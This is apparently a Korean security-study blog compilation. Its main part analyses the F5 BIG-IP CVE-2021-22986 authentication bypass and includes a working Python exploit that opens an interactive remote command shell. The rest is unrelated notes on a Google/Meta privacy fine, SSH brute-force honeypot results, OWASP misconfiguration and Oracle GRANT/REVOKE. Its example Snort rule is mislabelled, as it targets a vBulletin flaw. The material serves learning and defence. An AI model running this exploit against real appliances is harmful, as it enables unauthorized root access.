- F5 : 응용 서비스 및 네트워크 관리 제품 개발을 전문으로 하는 다국적 기업 - BIG-IP : 로컬 및 글로벌 스케일의 인텔리전트 L4-L7 로드 밸런싱 및 트래픽 관리 서비스, 강력한 네트워크 및 웹 애플리케이션 방화벽 보호, 안전하고 연합된 애플리케이션 액세스를 제공하는 어플라이언스 제품
2. CVE-2021-22986
- 취약한 버전의 BIG-IP, BIG-IQ의 iControl REST 인터페이스에서 발생하는 원격 명령어 실행 취약점 - 취약한 버전의 제품 로그인 페이지에만 접근하여도 취약점을 통해 인증 우회 및 원격 명령어 실행이 가능함
2.1) 취약점 분석
- F5 BIG-IP 제품의 Default ID/PW 값은 admin/admin으로 설정되어 있음. - 원격의 공격자는 Authorization 헤더의 값을 admin(혹은 YWRtaW46YWRtaW4=)로 설정하여 조작된 요청 전송 - 사용자 입력값(ID/PW) 적절한 검증의 부재로 공격자는 관리자의 X-F5-Auth-Token(admin 토큰 값) 값을 알아낼 수 있음 - 해당 토큰 값을 이용해 관리자의 권한으로 원격 명령 수행이 가능.
* YWRtaW46YWRtaW4= base64 디코딩 시 admin:admin * X-F5-Auth-Token 값을 공백 && Authorization 헤더 값을 admin(혹은 YWRtaW46YWRtaW4=)로 설정한 PoC도 확인 사유 : Authorization헤더를 통해 전달한 ID/PW 값을 통해 admin 권한으로 접근이 가능하기 때문으로 판단.
2.2) PoC
def exploit(url):
target_url = url + '/mgmt/shared/authn/login'
data = {
"bigipAuthCookie":"",
"username":"admin",
"loginReference":{"link":"/shared/gossip"},
"userReference":{"link":"https://localhost/mgmt/shared/authz/users/admin"}
}
headers = {
"User-Agent": "hello-world",
"Content-Type":"application/x-www-form-urlencoded"
}
response = requests.post(target_url, headers=headers, json=data, verify=False, timeout=15)
if "/mgmt/shared/authz/tokens/" not in response.text:
print('(-) Get token fail !!!')
print('(*) Tested Method 2:')
header_2 = {
'User-Agent': 'hello-world',
'Content-Type': 'application/json',
'X-F5-Auth-Token': '',
'Authorization': 'Basic YWRtaW46QVNhc1M='
}
data_2 = {
"command": "run",
"utilCmdArgs": "-c whoami"
}
check_url = url + '/mgmt/tm/util/bash'
try:
response2 = requests.post(url=check_url, json=data_2, headers=header_2, verify=False, timeout=20)
if response2.status_code == 200 and 'commandResult' in response2.text:
while True:
cmd = input("(:CMD)> ")
data_3 = {"command": "run", "utilCmdArgs": "-c '%s'"%(cmd)}
r = requests.post(url=check_url, json=data_3, headers=header_2, verify=False)
if r.status_code == 200 and 'commandResult' in r.text:
print(r.text.split('commandResult":"')[1].split('"}')[0].replace('\\n', ''))
else:
print('(-) Not vuln...')
exit(0)
except Exception:
print('ERROR Connect')
print('(+) Extract token: %s'%(response.text.split('"selfLink":"https://localhost/mgmt/shared/authz/tokens/')[1].split('"}')[0]))
while True:
cmd = input("(:CMD)> ")
headers = {
"Content-Type": "application/json",
"X-F5-Auth-Token": "%s"%(response.text.split('"selfLink":"https://localhost/mgmt/shared/authz/tokens/')[1].split('"}')[0])
}
data_json = {
"command": "run",
"utilCmdArgs": "-c \'%s\'"%(cmd)
}
exp_url= url + '/mgmt/tm/util/bash'
exp_req = requests.post(exp_url, headers=headers, json=data_json, verify=False, timeout=15)
if exp_req.status_code == 200 and 'commandResult' in exp_req.text:
print(exp_req.text.split('commandResult":"')[1].split('"}')[0].replace('\\n', ''))
else:
print('(-) Not vuln...')
exit(0)
if __name__ == '__main__':
title()
if(len(sys.argv) < 2):
print('[+] USAGE: python3 %s https://<target_url>\n'%(sys.argv[0]))
exit(0)
else:
exploit(sys.argv[1])
3. 대응방안
- 최신 버전으로 업데이트
- 상위 보안장비를 통한 접근제어 : 취약점에 사용되는 문자열을 탐지할 수 있는 스노트 룰 적용 Ex) /mgmt/shared/authn/login, /mgmt/tm/util/bash, "command":, "utilCmdArgs": 등
- 패킷을 분석하여 공격 패턴(ex. "widgetConfig[code]" 등)을 등록하여 탐지 및 차단
<Snort Rule 예시> alert tcp any any -> any any (msg:"vBulletin RCE_CVE-2019-16759"; sid:1; gid:1; content:"routestring"; nocase; content:"widgetConfig"; nocase; flow:established,to_server; pcre:"/echo[\s|+]shell\_exec/smi";)
- 개인정보 보호법을 위반한 구글과 메타에 대해 시정명령과 약 1,000억 원의 과징금이 부과 - 사유 : 이용자 동의 없이 개인정보(이용자의 타사 행태정보)를 수집해 온라인 맞춤형 광고에 활용 - 온라인 맞춤형 광고 플랫폼의 행태정보 수집·이용과 관련된 첫 번째 제재이자, 개인정보보호 법규 위반으로는 가장 큰 규모의 과징금
*행태정보 : 웹사이트 및 앱 방문·사용 이력, 구매·검색 이력 등 이용자의 관심, 흥미, 기호 및 성향 등을 파악·분석할 수 있는 온라인상의 활동정보
조사 결과
- 2021. 2월부터 국내외 주요 온라인 맞춤형 광고 플랫폼의 행태정보 수집·이용 실태를 점검 - 특히 플랫폼이 ‘이용자(회원)가 다른 웹사이트 및 앱을 방문·사용한 행태정보(타사 행태정보)를 수집하여 맞춤형 광고 등에 활용하는 과정에서적법한 동의를 받았는지 여부’를 중점 조사
- 조사결과, 구글과 메타는 자사 서비스 이용자의 타사 행태정보를 수집·분석해 이용자의 관심사를 추론, 맞춤형 광고 등에 사용 및 그 사실을 이용자에게 명확히 알리지 않고 사전에 동의도 받지 않은 것이 확인 * 구글 : 서비스 가입 시 타사 행태정보 수집·이용 사실을 명확히 알리지 않고, '옵션 더보기'를 통해 확인하도록 함, 추가적으로 기본 값을 동의로 설정함 * 메타 : 계정 생성 시 동의 받을 내용을 이용자가 알아보기 쉽지 않은 형태로 데이터 정책 전문에 게재하였을 뿐, 법정 고지사항의 구체적인 내용을 이용자에게 알리고 동의 받지 않음
- 타사 행태정보는 이용자가 다른 웹사이트 및 앱을 방문·사용하는 과정에서 자동으로 수집되므로 자신의 ‘어떤 정보’(‘어떤 웹사이트 및 앱’에서 한 ‘어떤 행태’에 대한 정보)가 수집되는지 예측하기 어려움. - 특히, 계정정보와 연결해 맞춤형 광고에 이용된 타사 행태정보는 이용자 계정으로 접속한 모든 기기에 걸쳐 활용될 수 있고 지속적으로 축적될 경우 민감한 정보가 생성될 우려가 있음 - 실제 조사결과 대다수의 한국 이용자가 플랫폼의 타사 행태정보 수집을 허용하도록 설정(구글 82%이상, 메타 98%이상)되어 있어, 정보주체의 권리가 침해받을 가능성과 위험이 높음
* 구글 : 유럽 이용자가 회원으로 가입할 때는 행태정보 수집, 맞춤형 광고 및 개인정보 보호 설정 등을 이용자가 직접 선택하도록 단계별로 구분하여 동의를 받고 있는 것이 확인 * 메타 : 최근 한국의 기존 이용자들을 대상으로 행태정보 수집 등에 비동의할 경우 서비스를 제한하는 내용으로 동의방식 변경 시도
- 구글과 메타는 아직까지 공식 입장을 내놓지는 않고 있지만, 공통적으로 두 가지를 주장 첫 번째, 이용자의 행태정보 수집에 대한 동의는 플랫폼 사업자가 아니라 웹사이트 및 앱 서비스 사업자가 동의를 받아야 함 두 번째, 설령 플랫폼이 동의를 받아야 한다고 해도 처리방침 등을 통해 이용자들에게 알리고 동의를 받음
- 해외의 감독기구들 역시 구글, 메타가 타사 행태정보 수집 및 맞춤형 광고 활용 위반으로 판단한 사례 有 * 프랑스 : 개인정보 감독기구(CNIL)는 구글이 투명성 원칙을 위반하고 이용자로부터 맞춤형 광고에 대한 동의를 받지 않았다고 결정(2019.1) * 독일 : 경쟁당국(FCO)은 메타가 이용자의 동의 없이 타사 행태정보를 수집·이용한 것으로 판단(2019.2)
- 개인정보위는 이용자들이 불편을 겪거나 권리가 침해되지 않도록 시정 및 개선에 주력, 관련된 지속적인 조사를 이어나갈 계획. 또한, 관련된 정책·제도를 이번 처분의 내용을 반영하여 개선 준비 중
관련 법령
- 개인정보보호법 제4조(정보주체의 권리) 정보주체는 자신의 개인정보 처리와 관련하여 다음 각 호의 권리를 가진다. 2. 개인정보의 처리에 관한 동의 여부, 동의 범위 등을 선택하고 결정할 권리
- 개인정보보호법 제15조(개인정보의 수집ㆍ이용) ① 개인정보처리자는 다음 각 호의 어느 하나에 해당하는 경우에는 개인정보를 수집할 수 있으며 그 수집 목적의 범위에서 이용할 수 있다.
- 개인정보보호법 제16조(개인정보의 수집 제한) ③ 개인정보처리자는 정보주체가 필요한 최소한의 정보 외의 개인정보 수집에 동의하지 아니한다는 이유로 정보주체에게 재화 또는 서비스의 제공을 거부하여서는 아니 된다. <개정 2013. 8. 6.>
- 개인정보보호법 제22조(동의를 받는 방법) ① 개인정보처리자는 이 법에 따른 개인정보의 처리에 대하여 정보주체(제6항에 따른 법정대리인을 포함한다. 이하 이 조에서 같다)의 동의를 받을 때에는 각각의 동의 사항을 구분하여 정보주체가 이를 명확하게 인지할 수 있도록 알리고 각각 동의를 받아야 한다.
- 개인정보보호법 제39조의15(과징금의 부과 등에 대한 특례) ① 보호위원회는 정보통신서비스 제공자등에게 다음 각 호의 어느 하나에 해당하는 행위가 있는 경우에는 해당 정보통신서비스 제공자등에게 위반행위와 관련한 매출액의 100분의 3 이하에 해당하는 금액을 과징금으로 부과할 수 있다.
- Secure Shell - 22 포트 사용 - 원격 호스트에 접속하기 위해 사용되는 보안 프로토콜 - 암호화 - 기존 원격 접속을 위해 사용하던 Telnet 등이 암호화를 제공하지 않아발생하는 문제 개선
절차
- SSH 허니팟을 구성한 뒤 한 달 간 모니터링 - 그 결과, 4,436개 IP에서 약 65만번의 SSH 무작위 대입 공격이 수행됨 - root, admin, user 등 시스템 또는 DB 명을 ID로, 123456, admin 등을 패스워드로 설정하여 무작위 대입 공격 수행 - 무작위 대입 공격을 통해 시스템 접속 성공 후 채굴 악성코드를 실행하기위한 시스템 사양 파악을 선 수행 - 시스템 사양 파악 후 wget 명령을 통해 파일을 다운로드 하거나, 직접 파일을 업로드 등의 방식으로 악성코드 실행
* 허니팟(Honeypot) : 비정상적인 접근을 탐지하기 위해 의도적으로 설치해 둔 시스템
대응
- SSH 서비스 포트 변경 - root 계정의 원격 로그인 금지 - 강력한 패스워드 정책 사용 등 기본적인 보안조치를 충실하게 이행 - 쇼단 등을 이용해 식별되지 않는 SSH 서비스가 있는지 주기적으로 모니터링 - 비식별 자산이 존재하지 않도록 해야함
보안 설정 오류(Security Misconfiguration)는 설정 오류 또는 잘못된 설정, 미비한 설정으로 인해 발생되는 취약점이다. 최초 설치시 또는 업데이트 시 보안성을 고려하지 않은 설정을 적용하는 경우가 해당된다. 2017년 A04로 소개된 XXE(XML External Entity) 항목이 포함되었다.
대응방안으로는, 애플리케이션 설치 시 기본으로 제공하는 기능, 구성 요소, 문서 및 샘플을 제거한다. 신규 또는 업데이트 시에 적절한 보안 설정이 적용되었는지 검토하고, 검증하는 프로세스를 구현한다. 또한, 보안헤더를 적용해 보안을 강화한다.
취약점 유형
애플리케이션에 적절한 보안 강화가 누락되었거나 클라우드 서비스에 대한 권한이 부적절하게 구성된 경우 불필요한 기능이 활성화 또는 설치되어 있는 경우(ex. 불필요한 포트, 서비스, 페이지, 계정 또는 권한) Default 계정 및 암호가 활성화되어 있으며, 변경되지 않은 경우 오류 메시지를 통해 어플리케이션 정보가 사용자에게 보여지는 경우 보안 헤더 설정 누락
공격 시나리오
애플리케이션 설치시 기본으로 제공하는 관리자 페이지에 보안 설정 없이 사용하여 외부에 노출되는 경우 공격자가 이용할 수 있다.
대응방안
최초 설치 시 불필요한 기능, 구성 요소, 문서 및 샘플 제거 보안 헤더 적용 모든 환경에 대하여 보안 설정을 검토 및 검증하는 프로세스 구현
GRANT 시스템 권한명 [, 시스템 권한명 ...| 롤명 ] TO 유저명 [, 유저명... | 롤명... | PUBLIC] [WITH ADMIN OPTION];
- 시스템 권한명 : 부여할 시스템권한의 이름 - 롤명 : 권한을 부여할 또는 권한을 받을 롤(ROLE)의 이름 - 유저명 : 권한을 부여 받을 유저(User)이름 - PUBLIC : 시스템권한, 또는 데이터베이스 역할을 모든 사용자에게 부여 가능 - WITH ADMIN OPTION : 권한을 부여 받은 사용자도 부여 받은 권한을 다른 사용자 또는 역할로 부여 가능
- 객체 권한 부여
GRANT [ 객체권한명 ] (컬럼) ON [ 객체명 ] TO { 유저명 | 롤명 | PUBLIC} [WITH GRANT OPTION];
- 객체권한명 : 객체에 사용가능한 권한(위의 그림 참고) - 컬럼명 : 만약 ON 절의 object 가 Table이나 View일 경우 사용 - ON 객체명 : Table, View, Sequence, Procedure 등 (위의 테이블을 참고) - TO { 유저명 | 롤명 | PUBLIC } : 사용자를 일일이 나열할 수도 있고 , ROLE에 소속된 사용자가 될수도 있다. PUBLIC = 모든 사용자 - WITH GRANT OPTION : 이 옵션을 사용하면 TO 절의 대상도 자신이 받은 권한을 다른 유저에게 부여 가능
1.2) REVOKE
- 사용자에게 부여한 권한을 회수하는 명령어
REVOKE { 권한명 [, 권한명...] | ALL } ON 객체명 FROM { 유저명 [, 유저명...] | 롤명(ROLE) | PUBLIC } [CASCADE CONSTRAINTS]
- 객체 권한의 철회는 그 권한을 부여한 부여자만이 수행 가능 - CASCADE CONSTRAINTS : 이 명령어의 사용으로 참조 객체 권한에서 사용 된 참조 무결성 제한을 같이 삭제 가능 - WITH GRANT OPTION 으로 객체 권한을 부여한 사용자의 객체 권한을 철회하면, 권한을 부여받은 사용자가 부여한 객체 권한 또한 같이 철회되는 종속철회가 발생
1.3) COMMIT
- 작업한 결과물을 물리적 디스크에 저장, 조작 작업이 정상적으로 수행됨을 알려주는 명령어.